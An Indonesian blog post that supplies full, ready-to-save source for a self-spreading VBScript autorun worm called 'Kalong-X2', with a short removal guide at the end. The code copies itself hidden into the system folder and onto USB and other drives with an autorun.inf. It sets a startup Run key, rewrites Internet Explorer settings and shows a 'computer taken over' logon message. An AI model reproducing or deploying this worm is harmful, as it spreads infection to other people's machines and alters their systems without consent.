Virus Autorun

Contoh Source Virus Autorun k4l0n6...

1. script coding pertama
=======================================
[autorun]
shellexecute=wscript.exe k4l0n6.sys.vbs
=======================================
simpan coding tersebut dengan nama dan ekstensi file “autorun.inf” (tanpa tanda petik)


2. script coding kedua
=======================================
'Kalong-X2
'Varian dari Kalong.VBS
on error resume next

'Dim kata-kata berikut

dim rekur,syspath,windowpath,desades,longka,mf,isi,tf,kalong,nt,check,sd

'siapkan isi autorun

isi = "[autorun]" & vbcrlf & "shellexecute=wscript.exe k4l0n6.sys.vbs"

set longka = createobject("Scripting.FileSystemObject")

set mf = longka.getfile(Wscript.ScriptFullname)

dim text,size

size = mf.size

check = mf.drive.drivetype

set text = mf.openastextstream(1,-2)

do while not text.atendofstream

rekur = rekur & text.readline

rekur = rekur & vbcrlf

loop

do

'buat file induk

Set windowpath = longka.getspecialfolder(0)

Set syspath = longka.getspecialfolder(1)

set tf = longka.getfile(syspath & "\recycle.vbs")

tf.attributes = 32

set tf = longka.createtextfile(syspath & "\recycle.vbs",2,true)

tf.write rekur

tf.close

set tf = longka.getfile(syspath & "\recycle.vbs")

tf.attributes = 39

'sebar ke removable disc ditambahkan dengan Autorun.inf

for each desades in longka.drives

If (desades.drivetype = 1 or desades.drivetype = 2) and desades.path <> "A:" then

set tf=longka.getfile(desades.path &"\k4l0n6.sys.vbs")

tf.attributes =32

set tf=longka.createtextfile(desades.path &"\k4l0n6.sys.vbs",2,true)

tf.write rekur

tf.close

set tf=longka.getfile(desades.path &"\k4l0n6.sys.vbs")

tf.attributes = 39

set tf =longka.getfile(desades.path &"\autorun.inf")

tf.attributes = 32

set tf=longka.createtextfile(desades.path &"\autorun.inf",2,true)

tf.write isi

tf.close

set tf = longka.getfile(desades.path &"\autorun.inf")

tf.attributes=39

end if

next

'Manipulasi Registry

set kalong = createobject("WScript.Shell")

'Ubah IE Title

kalong.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title",":: X2 ATTACK ::"

'Ubah tulisan pertama pada text box menu RUN

kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\a", "KALONG-X2/1"

kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\MRUList", "a"

'Buat pesan saat Windows Startup

kalong.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption", "KALONG-X2"

kalong.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText", "Komputer Anda Diambil Alih"

'Aktifkan saat Windows Startup

kalong.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Ageia", syspath & "\recycle.vbs"

'Ubah Default Start Page Internet Explorer

kalong.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.vaksin.com"

'Bonus

if check <> 1 then

Wscript.sleep 200000

end if

loop while check <> 1

set sd = createobject("Wscript.shell")

sd.run windowpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname
=======================================
simpan coding tersebut dengan nama dan ekstensi file “k4l0n6.sys.vbs” (tanpa tanda petik)



secara otomatis virus tersebut akan menyebar melalui flashdisk dan menginfeksi komputer yang kita gunakan. Untuk mengetahui komputer terkena virus autorun dapat menggunakan software iKnowPS sehingga akan terlihat frekuensi tampilan kerja komputer yang terlihat sangat sibuk.

Adapun cara menanggulangi virus tersebut yaitu dengan cara

- tekan menu Tools > Folder Options… > View > unchek Hide Protected operating system files (Recommended) > yes > OK

- sehingga secara otomatis akan terlihat tampilan file virus yang terhidden tersebut
- langkah selanjutnya yaitu dengan cara membuka dan mempelajari script coding file virus tersebut. Dan mempelajari bagian-bagian mana saja yang settingannya dirubah, terutama pada register editor (menu run > ketik regedit > OK)

- setelah itu, file tersebut dihapus/di delete dari komputer

semoga tulisan ini, bisa bermanfaat dan berguna untuk semua orang.

Thank’s




Source : Hari Kuswanto